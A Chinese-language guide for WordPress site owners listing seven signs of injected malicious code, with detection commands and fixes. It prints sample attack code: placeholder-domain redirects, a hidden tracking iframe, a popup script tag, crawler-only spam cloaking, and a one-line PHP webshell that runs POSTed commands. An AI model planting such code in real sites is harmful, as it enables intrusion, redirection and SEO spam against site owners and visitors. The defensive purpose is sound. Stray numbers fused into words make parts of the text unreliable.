WordPress 网站被植入恶意代码的 7 个信号(附排查方法)

Chair

安全通告 — 请相关站长及时检查并更新受影响的插件或组件。

您访问自己的 WordPress 网站,浏览器地址栏显示的不是熟悉的首页,而是一个满屏日文的赌博页面。您反复输入网址,结果一样。这不是 DNS15 劫持,您的网站被植入了恶意重定向代码。

2025 年 Wordfence 的报告显示,WordPress 生态中超过 55% 的安全事件与恶意代码注入有关,其中重定向劫持和 SEO18 垃圾邮件是最常见的两种类型。

这篇文章列出 7 个入侵信号。每个信号配一套诊断方法和永久修复步骤。您不需要逐条读完,看到匹配的症状,直接跳过去排查。

信号一:访问网站被重定向到陌生页面

用户在浏览器输入您的域名,页面自动跳转到赌博网站、虚假购物页面或成人内容。您在后台登录 WordPress 管理面板可能一切正常——这正是重定向劫持的特点:攻击者只重定向访客,不碰管理后台,延长被发现的时间。

攻击代码藏在哪里

重定向代码常被写入三个位置:

.htaccess 文件

用 FTP16 或文件管理器打开网站根目录的 .htaccess,查找这类代码:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !(Googlebot|bingbot)
RewriteRule ^(.*)$ http://恶意域名.com/$1 [R=301,L]

这段代码的意思是:只要访客不是搜索引擎爬虫,一律 301 重定向到恶意域名。您自己登录后台用的是 /wp-admin,攻击者在条件里排除了这个路径,所以您发现不了。

主题的 functions.php

打开当前主题的 functions.php,搜索 wp_redirect

if ( !is_user_logged_in() ) {
    wp_redirect( 'http://恶意域名.com' );
    exit;
}

未登录用户访问任何页面都会跳转。攻击者通过盗取的管理员凭据或利用主题文件编辑功能写入这段代码。

index.php 首行

网站根目录的 index.php 第一行可能被注入:

<?php header("Location: http://恶意域名.com"); ?>

排查步骤

  1. 通过 SSH19 进入网站根目录,执行:
grep -r "base64_decode\|eval\|wp_redirect" /path/to/your/site --include="*.php"

这行命令搜索所有 PHP17 文件中常见的恶意函数。看到输出中提及的文件,逐一检查。

  1. 重置 .htaccess:WordPress 后台进入”设置 → 固定链接”,点击”保存更改”。这会重新生成干净的 .htaccess

  2. 如果重定向仍然存在,用 Wordfence 的扫描功能做一次全站文件完整性检查。它会对比官方 WordPress 核心文件哈希值,标记所有被修改的文件。

永久修复

不要只删除恶意代码。重定向劫持的攻击源头通常是漏洞插件或主题。完成清理后,升级所有插件到最新版本,删除不再维护的插件——2025 年有超过 2,000 个 WordPress 插件因安全漏洞被永久移除,如果您在用其中任何一个,立即替换掉。

信号二:浏览器地址栏出现”不安全”警告

您的网站已经部署了 SSL20 证书,地址栏应该显示锁形图标。但用户反馈浏览器提示”连接不安全”或者”此页面包含不安全内容”。您在 Chrome 中打开控制台(F12),看到成排的 Mixed Content 警告。

成因:恶意代码加载外部 HTTP 资源

攻击者在您网站的 header.php 或数据库的 wp_options 表中注入了 iframe:

<iframe src="http://恶意域名.com/tracker.php" width="1" height="1" style="display:none;"></iframe>

这个 1×1 像素的透明 iframe 从外部 HTTP 域名加载内容。浏览器检测到 HTTPS4 页面中包含 HTTP 资源,触发混合内容警告。用户看到的是”不安全”,攻击者拿到的是访客的 IP、User-Agent 和浏览行为数据。

更严重的情况:证书被替换

如果您看到的不是混合内容警告,而是证书错误(”此服务器的证书不受信任”),这说明攻击者可能已经获得了服务器 root 权限,替换了 SSL 证书文件。这比代码注入严重得多——攻击者可以解密、篡改您和访客之间的所有通信。

排查步骤

  1. 在 Chrome 中按 F1223 → Security 标签页,查看具体被阻止的 HTTP 资源域名。记录这个域名。

  2. 在网站文件中搜索这个域名:

grep -r "恶意域名.com" /path/to/your/site
  1. 检查数据库:
SELECT3 * FROM12 wp_options WHERE6 option_value LIKE14 '%恶意域名%';
SELECT * FROM wp_posts WHERE post_content LIKE '%iframe%恶意域名%';

永久修复

如果是混合内容问题,删除恶意代码后,安装 Really Simple SSL 插件,它会在输出层强制替换所有 HTTP 资源为 HTTPS。

如果是证书被替换,您需要重建服务器环境。不要尝试在这个服务器上”修复”——攻击者掌握 root 权限意味着您不知道他还在系统里留了多少后门。备份数据库和上传文件,在新服务器上重新部署,更换所有密钥(wp-config.php 中的 Salts、数据库密码、SSH 密钥)。

信号三:首页或文章页面出现莫名弹窗广告

您收到客户截图:打开您的网站,右下角弹出 VoIP 服务推广窗口,点击关闭后不再出现。您自己测试时没看到任何异常。

为什么您看不到

注入的 JavaScript 通常有三层判断:

if (document.referrer === '' && !getCookie('popup_shown')) {
    // 弹出广告
    setCookie('popup_shown', 1, 7); // 7天内不再显示
}
  • 首次访问才触发:检测 Cookie,弹过一次后不再弹。
  • 来源必须是搜索引擎或直接访问document.referrer 为空或来自 Google 才激活,您从后台跳转过来时 referrer 是您自己的域名,不触发。
  • 登录用户豁免:检测 body.logged-in class,管理员登录后脚本直接跳过。

代码藏身之处

比较常见的位置是主题的 footer.php,紧贴在 </body> 前面:

<script src="//ads-voipnewswire.net/tag.min.js" data-zone="12345"></script>

或者通过 wp_head 钩子注入到 <head> 中。攻击者利用主题的选项表(wp_options 中的 theme_mods_yourtheme)存储脚本,您搜索主题文件找不到这段代码,因为它被序列化存在数据库里。

排查

  1. 查看网页源代码(Ctrl+U),搜索外部 JavaScript 域名。重点查 .net.xyz.top 等非主流顶级域名。

  2. 在数据库中搜索:

SELECT * FROM wp_options WHERE option_value LIKE '%ads-%' OR option_value LIKE '%popup%';
  1. 使用 Wordfence 的”扫描”功能。它的签名库包含已知弹窗广告网络的域名和代码特征,能直接定位到植入位置。

永久修复

清理代码后,在 wp-config.php 中加入:

define('DISALLOW_FILE_EDIT', true);

这会禁用 WordPress 后台的主题和插件文件编辑器。很多攻击者获得管理员权限后做的第一件事就是通过这个编辑器写入恶意代码。关掉它。

信号四:网站突然变慢,服务器 CPU22 占用飙升

假设您的 WooCommerce1 店铺平时页面加载时间 1.2 秒。最近突然变成 4 秒以上。登录服务器控制面板,CPU 占用从平均 15% 跳到了 90%。

您租了一台肉鸡给人打工

恶意代码把您的服务器变成了僵尸网络节点,最常做的事情是三件:

发送垃圾邮件

检查 /var/log/mail.log(Ubuntu/Debian)或 /var/log/maillog(CentOS):

tail -100 /var/log/mail.log

如果看到每分钟几十封发往陌生地址的邮件,您的服务器被用作垃圾邮件中继。

门罗币挖矿

攻击者上传一个 xmrig 二进制文件到 /tmp/ 或藏进 /wp-content/uploads/2025/ 某个伪装成图片的目录里。执行:

ps aux | grep xmrig

如果有输出,您看到了挖矿进程。

参与 DDoS9 攻击

后门脚本持续连接外部命令与控制服务器(C&C),接收指令对某个目标发起 HTTP 洪水攻击:

netstat -anp | grep ESTABLISHED | grep -v ':443\|:80'

大量到陌生 IP 的连接说明出站流量异常。

排查步骤

  1. 先看日志,找异常:
grep "POST11 /wp-admin/admin-ajax.php" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

如果某个 IP 一小时发了上万次 POST 请求到 admin-ajax.php,这是暴力破解或恶意通信。

  1. 检查计划任务(Cron):
crontab -l
ls -la /etc/cron.hourly/

攻击者常添加定时任务定期下载最新版恶意脚本。

  1. 检查最近被修改的 PHP 文件:
find /path/to/site -name "*.php" -mtime -3 -ls

过去 3 天内被修改的 PHP 文件全部列出。正常的网站不会有大量 PHP 文件在短时间内被修改。

永久修复

清理完恶意进程和文件后,限制 PHP 的执行权限。在 Nginx5 配置中,对 /wp-content/uploads/ 目录禁止 PHP 执行:

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
}

这条规则的意思是:就算攻击者把 .php 后门上传到 uploads 目录,Web 服务器拒绝执行它。这是结构层防御——不是堵一个漏洞,是让这整条攻击路径失效。

信号五:后台出现未知管理员账号,uploads 目录有可疑 PHP 文件

您在 WordPress 后台的”用户”列表中看到一个用户名为 admin123wp-update 的管理员账号。您没创建过。

另一个场景:您在 wp-content/uploads/2025/ 下看到一个名为 cache-img.php 的文件。uploads 目录应该只有图片和媒体文件,不应该有 PHP。

这是 Webshell

Webshell 是攻击者留在服务器上的 PHP 后门脚本,通常只有一个文件,长得像这样:

<?php
/* Plugin Name: Cache Manager */
if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
}

文件名伪装成”缓存管理器”,目录放在 2025 年的上传文件夹深处,旁边全是真实图片。攻击者访问这个文件,通过 POST 参数传入系统命令,就能以 Web 服务器用户身份执行任何操作。

排查方法

  1. 在 WordPress 根目录搜索最近 7 天创建的文件:
find . -type f -mtime -7 -name "*.php" | grep -v "wp-includes\|wp-admin"

排除核心目录后,所有新的 PHP 文件都应该被怀疑。

  1. 搜索包含 systemexecevalbase64_decode 的组合:
grep -r "base64_decode.*eval\|system.*\$_" /path/to/site --include="*.php"

Webshell 通常把命令编码为 base64,再用 eval 执行,以绕过简单的字符串扫描。

  1. 对比核心文件哈希:
wp core verify-checksums

这需要安装 WP-CLI2。执行后它会报告所有与官方版本不一致的核心文件——这些就是被篡改的文件。

永久修复

检查并删除未知管理员账号后,在 wp-config.php 中添加:

define('FORCE_SSL_ADMIN', true);
define('DISALLOW_FILE_EDIT', true);

登录后台安装 Wordfence 并启用双因素认证(2FA)。2FA 意味着即使攻击者拿到密码,没有您手机的动态码也登录不了。

修改所有密码,包括:
– 所有管理员账号密码
– 数据库密码(并在 wp-config.php 中更新)
– FTP/SSH 密码
– 托管账户密码

不要在新密码中使用任何与旧密码相同的字符串。攻击者持有旧密码的哈希,如果您的密码是 mypass2024 改成 mypass2025,等于没改。

信号六:搜索引擎搜索结果中出现奇怪摘要或日文关键词

您在 Google 搜索 site:yourdomain.com,看到的不是产品和文章标题,而是:
– “激安ブランドコピー代引き”
– “Buy cheap Viagra online”
– 满屏乱码字符

但您访问网站本身一切正常,文章内容没变,页面没跳转。

日本关键词黑客(Japanese Keyword Hack)的原理

这是 SEO 垃圾邮件中最狡猾的一种。注入的代码包含一个判断:

if (preg_match('/bot|spider|crawler|google/i', $_SERVER['HTTP_USER_AGENT'])) {
    // 插入垃圾内容和链接
    echo $spam_content;
}

只有搜索引擎爬虫访问时才输出垃圾内容。真人访问者看到的是正常页面,管理员自己也看不到异常。Google 爬虫把所有垃圾内容索引进去,搜索结果页就变成了色情和仿冒广告。

垃圾内容通常被注入在 wp_posts 表的文章内容中,但只对爬虫可见;或者通过动态包含外部文件实现,内容来源是攻击者控制的服务器,随时可以更换关键词。

排查方法

  1. 模拟 Googlebot 访问自己的网站:
curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" https://yourdomain.com

对比浏览器看到的 HTML10 和 curl 的输出。如果两者不一致,您中了条件型注入。

  1. 检查 wp_posts 表中近期的修改:
SELECT ID24, post_title, post_modified FROM wp_posts ORDER8 BY25 post_modified DESC13 LIMIT7 20;

注意修改时间异常的文章——凌晨 3 点无人操作时发生的修改很可疑。

  1. 在数据库中搜索日文或药物关键词:
SELECT ID, post_content FROM wp_posts WHERE post_content LIKE '%tadalafil%' OR post_content LIKE '%ブランド%';

永久修复

清理数据库后,进入 Google Search Console 提交”安全问题报告”并请求重新审核。Search Console 的安全问题栏目会列出检测到的恶意内容类型和示例 URL21,这些信息可以帮助您确认是否清理干净。

提交重新审核后,Google 通常在一周内移除”此网站可能含有恶意软件”的警告标签。

信号七:安全插件或主机商直接发出恶意软件警告

您收到 Wordfence 的邮件,标题是”Critical Problems Found: 3 malicious files detected”。或者 cPanel 自动把您的 wp-config.php 权限改为 000,并发送通知:”File quarantined: potential malware detected”。

这是最直接的信号——您不需要排查,别人帮您查好了。

读报告,别只点”删除”

Wordfence 的扫描报告会列出每个恶意文件的路径、感染类型和匹配的签名名称。例如:

File: /wp-content/themes/yourtheme/404.php
Type: Backdoor:PHP/WebShell.A
Signature: 匹配到已知 Webshell 特征
  • Backdoor 是后门程序,攻击者靠它再次进入系统。
  • Phishing 是钓鱼页面,通常放在 /wp-content/plugins/fake-plugin/linkedin-login.php 这种路径,用来仿冒 LinkedIn 或银行登录页。
  • SEO Spam 是垃圾链接和关键词,常藏在 wp_options 表或底部小工具中。

不要只看被标记的文件,要看被修改的时间。所有同一时间被修改的文件很可能是同一攻击者上传的一组后门。

主机商隔离文件时怎么做

如果主机商已经自动隔离了某些文件(权限改为 000 或移入 quarantine 目录),不要直接恢复。被隔离的文件是证据。下载到本地分析后,在服务器上执行:

find /path/to/site -type f -mtime -1 -ls

查看过去 24 小时内还有哪些文件被修改。攻击者可能留了不只一个后门。

排查与修复

Wordfence 和 MalCare 都提供”一键清理”功能,但它的工作原理是删除被标记的文件。如果您被植入的是核心文件污染的恶意代码(比如 wp-admin/includes/file.php 被篡改),删除会使 WordPress 功能异常。

正确做法:
1. 用 Wordfence 的”查看文件差异”功能,对比您的文件与官方原始文件。
2.

名词解释

发表评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注